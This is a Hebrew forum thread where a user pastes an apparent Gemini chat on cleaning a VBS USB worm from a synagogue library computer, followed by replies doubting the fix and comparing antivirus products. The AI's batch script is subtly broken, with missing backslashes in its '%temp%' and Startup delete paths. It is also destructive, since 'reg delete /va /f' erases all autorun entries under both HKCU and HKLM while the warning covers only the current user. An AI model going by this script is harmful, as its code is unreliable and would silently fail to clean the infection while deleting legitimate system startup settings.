                                  כתב נערך לאחרונה על ידי
                                  #35

                                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                  גם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                  אם זה עדיין רלוונטי אני יכול לדאוג לך לכל מיני בינות....

                                  תגובה 1 תגובה אחרונה
                                  0
                                  • א אור אור אור

                                    וכשכתבתי ו את ההודעה שלך בהתחלה הוא ענה:

                                    צר לי לשמוע על המצב. זה באמת "בור ברשות הרבים" במובן הטכנולוגי ביותר – מחשבים בבתי כנסת שמשמשים ל"אוצר החכמה" הם יעד קלאסי לווירוס הזה (Houdini), בגלל תחלופת הדיסק-און-קי הגבוהה.

                                    הסיבה שהאנטי-וירוס מתקשה היא שהווירוס משתמש בכלי מערכת לגיטימיים של ווינדוס (כמו wscript.exe) כדי להריץ סקריפט טקסט פשוט, מה שמאפשר לו לעיתים לחמוק מתחת לרדאר.

                                    הנה "מפת הדרכים" של המקומות שבהם הוא מתחבא ואיך מנקים אותו מהשורש:

                                    1. היכן הוא מתחבא? (לפי הקוד שצירפת)
                                      הווירוס הזה עקשן כי הוא משכפל את עצמו לכמה מקומות בו-זמנית:

                                    תיקיית זמניים (Temp): הוא מעתיק את עצמו לתיקיית %temp%.

                                    תיקיית הפעלה (Startup): הוא שותל שם עותק כדי שיעלה בכל פעם שהמחשב נדלק.

                                    רישום המערכת (Registry): הוא יוצר מפתח בכתובת HKCU\Software\Microsoft\Windows\CurrentVersion\Run תחת שם שנראה תמים.

                                    בכונני USB: הוא הופך את התיקיות האמיתיות שלך לנסתרות ויוצר במקומן קיצורי דרך עם אותו שם.

                                    1. שלבי הניקוי (בצע לפי הסדר)
                                      כדי לנצח אותו, צריך קודם כל "להרדים" אותו ורק אז למחוק:

                                    א. עצירת התהליך
                                    לחץ על Ctrl + Shift + Esc כדי לפתוח את מנהל המשימות.

                                    חפש ברשימה תהליך בשם Windows Script Host או wscript.exe.

                                    לחץ עליו קליק ימני וביצוע "סיום משימה". זה ימנע ממנו לשכפל את עצמו בזמן שאתה מוחק אותו.

                                    ב. מחיקה מהרישום (Registry)
                                    לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                                    נווט לנתיב: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

                                    חפש שם ערך שכתוב בו הנתיב לתיקיית ה-Temp או קובץ שמסתיים ב-.vbs. מחק אותו.

                                    בדוק גם בנתיב המקביל תחת HKEY_LOCAL_MACHINE.

                                    ג. מחיקת הקבצים הפיזיים
                                    פתח את סייר הקבצים והדבק בשורת הכתובת: %temp%. חפש קובץ עם סיומת .vbs (השם יכול להיות אקראי או משהו כמו Houdini) ומחק אותו.

                                    הדבק בשורת הכתובת: shell:startup. אם יש שם קובץ VBS או קיצור דרך חשוד – מחק אותו.

                                    1. תיקון הדיסק-און-קי (החזרת הקבצים שנעלמו)
                                      אם הקבצים בכונן נראים כמו קיצורי דרך, אל תלחץ עליהם! הם אלו שמדביקים מחדש את המחשב.

                                    חבר את הכונן הנגוע.

                                    פתח את "שורת הפקודה" (CMD) כמנהל.

                                    הקלד את האות של הכונן (למשל :F) ולחץ Enter.

                                    הקלד את הפקודה הבאה שתבטל את ההסתרה שהווירוס ביצע:
                                    attrib -h -r -s /s /d .

                                    כעת תוכל לראות את התיקיות האמיתיות שלך. מחק את כל קבצי ה-LNK (קיצורי הדרך) ואת קובץ ה-VBS שנמצא על הכונן.

                                    עצה קטנה ל"אוצר החכמה" בבית הכנסת:
                                    כדי למנוע הישנות, כדאי להתקין תוכנה קטנה וחינמית בשם USB Vaccinator או פשוט לחסום הרצת סקריפטים מסוג VBS במחשב אם אין בהם צורך (דרך ה-Registry).

                                    האם תרצה שאכתוב עבורך פקודה אחת פשוטה (Batch file) שתבצע את כל הניקוי הזה באופן אוטומטי?

                                    כן

                                    כן

                                    ‫Gemini אמר
                                    הנה קוד פשוט שיצרתי עבורך. הוא מבצע את כל הפעולות שדיברנו עליהן: סגירת התהליך הזדוני, מחיקת הקבצים מהתיקיות הנסתרות וניקוי הרישום (Registry).

                                    הוראות ביצוע:
                                    העתק את הקוד למטה.

                                    פתח את "פנקס רשימות" (Notepad).

                                    הדבק את הקוד בתוכו.

                                    שמור את הקובץ בשם CleanVirus.bat (חשוב מאוד שהסיומת תהיה .bat ולא .txt).

                                    לחץ על הקובץ ששמרת קליק ימני ובחר "הפעל כמנהל" (Run as Administrator).

                                    הקוד לניקוי המחשב:
                                    קטע קוד
                                    @echo off
                                    color 0A
                                    echo Stopping Virus Process...
                                    taskkill /F /IM wscript.exe /T

                                    echo.
                                    echo Deleting Virus Files...
                                    del /F /Q "%temp%*.vbs"
                                    del /F /Q "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*.vbs"

                                    echo.
                                    echo Cleaning Registry Keys...
                                    reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /va /f
                                    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /va /f

                                    echo.
                                    echo Restoration Complete.
                                    echo Please check your USB drives separately using the 'attrib' command.
                                    pause
                                    מה הקוד הזה עושה בפועל?
                                    taskkill: מפסיק מיד את המנוע שמריץ את הווירוס (wscript).

                                    del: מוחק קבצי VBS חשודים מתיקיית הזמניים ומתיקיית ההפעלה האוטומטית.

                                    reg delete: מנקה את רשימת התוכנות שעולות עם המחשב כדי שהווירוס לא יחזור אחרי הפעלה מחדש.

                                    [!CAUTION]
                                    שים לב: הפקודה reg delete עם הפרמטר /va מוחקת את כל התוכנות שעולות אוטומטית למשתמש הנוכחי. זה אומר שאם יש תוכנות לגיטימיות (כמו דרייבר של מדפסת או WhatsApp) שעולות עם המחשב, תצטרך להפעיל אותן ידנית פעם אחת כדי שיחזרו לרשימה, או פשוט להשאיר אותן כך. במחשב של "אוצר החכמה" זה לרוב צעד בטוח ונחוץ.

                                    טיפול בכונני ה-USB (הדיסק-און-קי):
                                    אחרי שהרצת את הקובץ למעלה והמחשב "נקי", חבר את הכונן הנגוע והרצ את הפקודה הזו בתוך חלון ה-CMD (שורת הפקודה):
                                    attrib -h -r -s /s /d X:*.*
                                    (החלף את האות X באות של הכונן שלך).

                                    זה יחזיר את כל התיקיות שהווירוס הסתיר. לאחר מכן, פשוט מחק ידנית מהכונן כל קובץ עם סיומת .vbs וכל קיצור דרך שנראה כמו תיקייה.

                                    האם תרצה שאסביר לך איך לחסום את המחשב מהרצת קבצי VBS בעתיד כדי שהווירוס לא יוכל לחזור לעולם?

                                    אמרת
                                    כן

                                    ‫Gemini אמר
                                    כדי למנוע מה"בור" הזה להיפתח שוב בלב בית הכנסת, הדרך הכי טובה היא פשוט להוציא לסקריפטים האלו את ה"מנוע" מהחשמל. ברגע שנחסום את היכולת של המחשב להריץ קבצי VBS, גם אם מישהו יחבר דיסק-און-קי נגוע וילחץ על כל קיצורי הדרך שבעולם – שום דבר לא יקרה.

                                    הנה שתי דרכים לעשות זאת, מהקלה והבטוחה ועד היסודית ביותר:

                                    אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                                    בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                                    צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                                    לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                                    בחר ב-"פנקס רשימות" (Notepad).

                                    חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                                    לחץ על אישור.

                                    התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                                    אפשרות ב': חסימה מוחלטת דרך הרישום (Registry)
                                    זו שיטה "חזקה" יותר שמנטרלת את המנוע שמריץ סקריפטים (Windows Script Host) לחלוטין.

                                    לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                                    נווט לנתיב הבא (תוכל להעתיק ולהדביק בשורת הכתובת למעלה):
                                    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings

                                    בצד ימין (או שמאל, תלוי בשפת המערכת), לחץ קליק ימני על שטח ריק -> New (חדש) -> DWORD (32-bit) Value.

                                    קרא לערך החדש בשם: Enabled.

                                    וודא שהערך שלו הוא 0 (זה ברירת המחדל).

                                    סגור את הרישום והפעל מחדש את המחשב.

                                    התוצאה: אם מישהו ינסה להריץ סקריפט, ווינדוס יקפיץ הודעה ש"הגישה ל-Windows Script Host חסומה במחשב זה". זהו סוף פסוק לווירוסי VBS.

                                    טיפ קטן לגבאי / אחראי המחשב:
                                    מכיוון שהמחשב של "אוצר החכמה" הוא יעד קבוע לדיסק-און-קי מכל הסוגים, כדאי להדביק מדבקה קטנה על המסך: "נא לא להכניס דיסק-און-קי שלא נבדק" – למרות שעם החסימה שעשינו עכשיו, אתם הרבה יותר מוגנים.

                                    [!NOTE]
                                    אם בעתיד תצטרכו להתקין עדכון של "אוצר החכמה" שמשתמש בסקריפטים (נדיר, אבל קורה), תצטרכו להחזיר את הערך Enabled ל-1 באופן זמני.

                                    ה מנותק
                                    ה מנותק
                                    המלאך
                                    כתב נערך לאחרונה על ידי המלאך
                                    #36

                                    @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                    אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                                    בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                                    צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                                    לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                                    בחר ב-"פנקס רשימות" (Notepad).

                                    חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                                    לחץ על אישור.

                                    התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                                    @cfopuser הדרך הזו לא מסוכנת?
                                    כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
                                    או שיריץ דרך הפאואר שיל, הcmd?

                                    cfopuserC תגובה 1 תגובה אחרונה
                                    0
                                    • ה המלאך

                                      @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                      אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                                      בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                                      צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                                      לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                                      בחר ב-"פנקס רשימות" (Notepad).

                                      חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                                      לחץ על אישור.

                                      התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                                      @cfopuser הדרך הזו לא מסוכנת?
                                      כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
                                      או שיריץ דרך הפאואר שיל, הcmd?

                                      cfopuserC מנותק
                                      cfopuserC מנותק
                                      cfopuser
                                      כתב נערך לאחרונה על ידי
                                      #37

                                      @המלאך ai...
                                      לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                                      ה מתכנת חובבמ 2 תגובות תגובה אחרונה
                                      0
                                      • cfopuserC cfopuser

                                        @המלאך ai...
                                        לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                                        ה מנותק
                                        ה מנותק
                                        המלאך
                                        כתב נערך לאחרונה על ידי
                                        #38

                                        @cfopuser 1000204791.jpg

                                        תגובה 1 תגובה אחרונה
                                        0
                                        • A AMDesign

                                          @תלמידהון
                                          למען האמת שאין לי מושג באמת (משתמש במק שלא מצוי כ״כ וירוסים אז אין לי אנטי וירוס) אבל כך ידוע שאיסט הכי טוב.
                                          דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                                          מתכנת חובבמ מנותק
                                          מתכנת חובבמ מנותק
                                          מתכנת חובב
                                          מדריכים
                                          כתב נערך לאחרונה על ידי
                                          #39

                                          @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                          דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                                          דיפנדר מעולה
                                          אולי בעבר הדי רחוק היה לו שם רע
                                          כיום כמעט כל האנטי וירוסים הרציניים מקבלים ציונים גבוהים במבחנים ואין כמעט עדיפות של אחד על האחר אצל המשתמש הביתי מעבר לשיקולי מחיר ופיצ'רים

                                          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                          A תגובה 1 תגובה אחרונה
                                          4

                                          • התחברות

                                          • אין לך חשבון עדיין? הרשמה

                                          • התחברו או הירשמו כדי לחפש.
                                          • פוסט ראשון
                                            פוסט אחרון
                                          0
                                          • חוקי הפורום
                                          • פופולרי
                                          • לא נפתר
                                          • משתמשים
                                          • חיפוש גוגל בפורום
                                          • צור קשר